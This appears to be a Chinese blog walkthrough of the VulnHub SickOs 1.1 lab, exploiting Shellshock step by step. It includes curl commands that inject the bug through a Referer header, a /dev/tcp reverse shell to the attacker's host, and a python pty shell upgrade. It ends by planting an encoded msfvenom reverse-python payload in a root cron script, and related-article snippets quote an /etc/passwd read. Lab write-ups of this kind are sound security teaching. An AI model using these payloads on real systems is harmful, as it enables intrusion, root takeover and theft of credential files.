免责声明

本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。

如有侵权请联系我第一时间删除

nikto扫描

sudo nikto -h ip -useproxy http://ip:port

发现存在Shellshock漏洞,又称bashdoor 利用版本:bash4.1版本之前都存在这个漏洞

扫描结果: 可能存在shellshock漏洞

/cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278

详情见http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 ,这是一个GNU Bash 环境变量命令注入漏洞 ,我对这个漏洞了解比较少,所以去找了几篇文章

ShellShock(CVE-2014-6271)-CSDN博客

Shellshock 漏洞 (CVE-2014-6271) - 知乎

GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。这个漏洞的英文是:ShellShock,中文名被XCERT命名为:破壳漏洞。该漏洞在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等

Shellshock

验证shellshock存在

sudo curl -v --proxy http://ip:3128 http://ip/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

-v 显示更详细的信息

http://ip/cgi-bin/status nikto扫描出来的url

-H " "指定主机头 里面是一个恶意构造的http头,目的是利用Shellshock漏洞来尝试执行服务器上的命令。具体来说,它试图通过设置一个恶意的环境变量来触发漏洞,然后执行 /usr/bin/id 命令,该命令会输出当前用户的ID信息,包括用户名和所属用户组。

利用shellshock反弹shell

用msfvenom生成payload

MSF的使用教程 - 黑客无极 - 博客园

sudo msfvenom -p cmd/unix/reverse_bash lhost=kali_ip lport=443 -f raw

-f, --format <format>

指定 Payload 的输出格式(使用 --list formats 列出)

-f raw 表示直接输出payload的源代码

这个sh环境路径有可能无法使用,如果不行就改成绝对路径

生成的payload

0<&137-;exec 137<>/dev/tcp/192.168.236.128/443;sh <&137 >&137 2>&137

nc开启监听后,使用payload

sudo curl -v --proxy http://192.168.236.133:3128 http://192.168.236.133/cgi-bin/status -H "Referer:() { test;}; echo 0<&137-;exec 137<>/dev/tcp/192.168.236.128/443;sh <&137 >&137 2>&137"

执行后监听有反应,但直接就断了,显示没有sh这个文件或路径



那就修改一下:/bin/sh

sudo curl -v --proxy http://192.168.236.133:3128 http://192.168.236.133/cgi-bin/status -H "Referer:() { test;}; echo 0<&137-;exec 137<>/dev/tcp/192.168.236.128/443;/bin/sh <&137 >&137 2>&137"

成功拿到一个不完整的shell

不过这个shell的交互性很差,查询这台机器上安装的软件,如果有python的话,就可以用python实现一个交互性更好的shell

python提升shell交互性

查询机器上已安装的软件

dpkg -l 是一个在基于 Debian 的 Linux 发行版中使用的命令,用于列出系统上所有已安装的软件包。这个命令会显示软件包的名称、版本、架构和简短描述等信息。

当你运行 dpkg -l 命令时,输出通常会被分成几列,每一列的含义如下:

第一列是两个字母的状态标志。第一个字母表示期望状态(如 'u' 表示未知,'i' 表示安装),第二个字母表示实际状态(如 'n' 表示未安装,'i' 表示已安装)。

第二列是软件包的名称。

第三列是软件包的版本号。

第四列是软件包的架构(例如,amd64, i386)。

第五列及之后的部分是软件包的简短描述。

如果你想要查看特定类型或名称的软件包,可以结合使用管道和 grep 命令来过滤输出。例如,要查找所有与 'python' 相关的已安装软件包,你可以运行:

dpkg -l | grep python

这将只显示包含 'python' 字符串的行。

靶机回显是有python的

python将普通Shell升级为交互式Shell

一下命令都是python升级交互式Shell的脚本,测试后发现前两个是能用的,第三个不能用

python -c 'import pty;pty.spawn("/bin/bash")'

这条命令使用了 pty 模块来创建一个伪终端(pseudo-terminal)。伪终端可以提供更接近于真实终端的交互体验,包括支持终端控制字符和信号处理。因此,这种方式启动的 shell 会话具有更好的交互性,可以像普通终端一样使用。
python -c '__import__("pty").spawn("/bin/bash")'

这条命令与第一条类似,只是使用了 __import__ 函数来动态导入 pty 模块。这种方式同样会创建一个伪终端,并且提供良好的交互性。
python -c "import os;os.system('/bin/bash')"

这条命令使用了 os 模块的 system 函数来启动一个新的 shell 会话。os.system 函数会调用系统的 system 函数,后者会通过 /bin/sh 来执行指定的命令。这种方式启动的 shell 会话有一些限制:
交互性较差:虽然 os.system 可以启动一个 shell,但它不会创建一个伪终端。这意味着你可能无法使用一些终端控制字符和信号处理功能,交互体验较差。
子进程管理:os.system 会在当前进程中启动一个新的子进程来执行命令。当命令执行完毕后,控制权会返回给父进程。这意味着如果你直接在命令行中运行 os.system('/bin/bash'),你会得到一个新的 shell 会话,但一旦你退出这个 shell,控制权会返回到原来的 Python 脚本。

自动任务提权

信息收集 找到突破口cron.d下automate自动任务执行/var/www/connect.py

cd 到根目录后,我先看了/etc下的cron自动任务,

drwxr-xr-x  2 root root    4096 Sep 22  2015 console-setup
drwxr-xr-x 2 root root 4096 Dec 5 2015 cron.d
drwxr-xr-x 2 root root 4096 Sep 22 2015 cron.daily
drwxr-xr-x 2 root root 4096 Sep 22 2015 cron.hourly
drwxr-xr-x 2 root root 4096 Sep 22 2015 cron.monthly
drwxr-xr-x 2 root root 4096 Sep 22 2015 cron.weekly
-rw-r--r-- 1 root root 722 Jun 20 2012 crontab

cat看一眼发现这些自动任务的权限都只有/bin/sh,例如crontab,如果是/bin/bash,就可以直接尝试使用这些自动任务进行提权

www-data@SickOs:/etc$ cat crontab
cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do. SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

再看一下cron.d,提示是一个文件夹,进去翻看有一个automate

* * * * * root /usr/bin/python /var/www/connect.py

每分钟以root权限执行/var/www/下的connect.py

那我们先看一下 cat /var/www/connect.py

#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"

msfvenom生成payload

sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.236.128 lport=444 -f raw
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELgjAUhf/K2NOEuLUlYoQPEgYRFaTvkmuhZJt45/+PZbA9el92d+53zxnrPoMZLUEj38oSQlbkVzg1w2ikQvSacf1+7luDNqN8J4AnKYhtAlyk1M+daRbHsVcwmzNgPtj/lh/r07WoguRZL2+Hc11W9yK/RIEJSKO1kpYx9wK/5fKiADQIz2kQDOHV9UobFnl2s5DjCzkRcEPmfw7ko+8ZXTedXmNLoy8kd1w/')[0])))

用vi编辑器将payload插入进connect.py中,这里给了一些vi的常用命令

vi编辑器

默认情况下,VI编辑器是命令模式,需要在里面写东西的时候需要进入编辑模式

命令模式到编辑模式:插入命令i,附加命令a,打开命令o,修改命令c,取代命令r,替换命令s

编辑模式到命令模式:Esc

**退出流程:

1.进入命令模式

2.进入末行模式

3.在末行模式输入以下内容,对应相应操作**

【:w】 保存文件

【:w!】 若文件为只读,强制保存文件

【:q】 离开vi

【:q!】 不保存强制离开vi

【:wq】 保存后离开

【:wq!】 强制保存后离开

【:! command】 暂时离开vi到命令行下执行一个命令后的显示结果

【:set nu】 显示行号

【:set nonu】 取消显示行号

【:w newfile】 另存为

2、插入命令

i:插入光标前一个字符

I:插入行首

a:插入光标后一个字符

A:插入行末

o:向下新开一行,插入行首

O:向上新开一行,插入行首

移动光标

h:左移

j:下移

k:上移

l:右移

M:光标移动中间行

L:光标移动到屏幕最后一行行首

G:移动到指定行,行号 -G

{:按段移动,上移

}:按段移动,下移

Ctr-d:向下翻半屏

Ctr-u:向上翻半屏

gg:光标移动文件开头

G:光标移动文件末尾

3、删除命令

x:删除光标后一个字符,相当于del

X: 删除光标前一个字符,相当于Backspace

dd:删除光标所在行,n dd删除指定的行数D:删除光标后本行所有的内容,包括光标所在字符

4、撤销命令

u:一步一步撤销

ctr-r:反撤销

5、重复命令

.:重复上一次操作的命令

成功把payload插进connect.py

getshell

nc开启监听444端口

成功获得root权限,至此sickos两个解法都打完了

VulnHub-Sick0s1.1解法二shellshock漏洞的更多相关文章

  1. 洛谷P2365 任务安排 [解法二 斜率优化]

    解法一:http://www.cnblogs.com/SilverNebula/p/5926253.html 解法二:斜率优化 在解法一中有这样的方程:dp[i]=min(dp[i],dp[j]+(s ...

  2. Shellshock漏洞复现

    漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...

  3. 关于bash的shellshock漏洞

    这一漏洞的描述如下: Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CV ...

  4. Kali Linux渗透基础知识整理(二)漏洞扫描

    Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...

  5. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  6. leetcode Largest Rectangle in Histogram 解法二

    上一篇文章讲了该题的一个解法.后来又发现一个更好的解法. 首先依旧考虑一个升序的数列,例如1,2,3,4,5.那么它的最大矩形显然是有5种可能,即 1*5,2*4,3*3,4*2,1*5.所以最大的矩 ...

  7. Janus 二元神漏洞测试

    同步发表于:http://blog.hacktons.cn/2017/12/25/janus-demo/ 背景 12月9号,Andorid对外曝光了一个名为Janus的重量级系统漏洞CVE-2017- ...

  8. Vulnhub靶场渗透练习(二) Billu_b0x

    运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...

  9. LeetCode题解之Merge k Sorted Lists 解法二

    1.题目描述 2.分析 利用 vector 存储指针,同时合并k个链表. 3.代码 ListNode* mergeKLists(vector<ListNode*>& lists) ...

  10. 详细的漏洞复现:Shellshock CVE-2014-6271 CVE-2014-7169

    目录 前言 漏洞原理 利用方式 复现过程 1. 环境准备 (1) 为容器配置固定IP地址 (2) 查看bash版本 2. 本地验证:测试镜像系统是否存在漏洞 3. 远程模拟验证(原理验证) (1) 查 ...

随机推荐

  1. CentOS 7 yum无法使用解决方法Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=7&arch=

    在centos7中使用yum命令时候报错: Loading mirror speeds from cached hostfile Could not retrieve mirrorlist http: ...

  2. Dell R920 服务器iDrac口默认账号密码和IP

    Dell服务器iDrac口默认账号密码和IP   账号:root 密码:calvin IP:192.168.0.120/24

  3. TypeScript – Get Started Advanced (Work with SystemJS)

    更新 我本来想 skip 掉 bundler (webpack), 感觉单侧不需要搞那么复杂, 所以用了 TypeScript 自带的 bundle (outFile) + SystemJS. 谁知道 ...

  4. acme+cloudflare生成免费证书(自动续期)

    acme DNSapi acme DNSapi的作用是在申请证书时使用dns交易,acme可以通过dnsapi在对应的dns管理平台提交对应的dns记录.玩过证书的朋友都知道,证书申请时有三种验证方式 ...

  5. 流式dma和一致性dma的区别

    流式 DMA(Streaming DMA)和一致性 DMA(Consistent DMA)是两种不同的内存映射模式,用于 DMA(直接内存访问)操作.它们的主要区别在于缓存一致性.性能和使用场景.以下 ...

  6. Android平台下的cpu利用率优化实现

    目录 背景 CPU调频 概念 实现 验证 线程CPU亲和性 概念 亲和性控制 API 应用层控制实现 验证 线程优先级 概念 实现 验证 背景 为了进一步优化APP性能,最近针对如何提高应用对CPU的 ...

  7. 高通dump ftrace & kernelshark使用

    简介 高通 ramdump 可以解析出 ftrace,方便用于追踪 快省稳 问题. kernelshark 是一个可以查看 trace event 的图形化工具,方便梳理和观察内核微观行为. trac ...

  8. /proc/zoneinfo

    root@pita2_mr813_tina35:/# cat /proc/zoneinfo Node 0, zone DMA per-node stats nr_inactive_anon 4749 ...

  9. yarn serve 不能开启vue项目 the project seem to require yarn but isnot install

    error: answer: 删除 yarn.lock 或者使用 npm run serve 替换 ; ps: yarn.lock 是锁定第三方包版本的文件:

  10. Machine Learning Week_8 K-means And PCA

    目录 1 K-means 1.1 Unsupervised Learning:Introduction 1.2 K-Means Algorithm 1.2.1 k-means algorithm 1. ...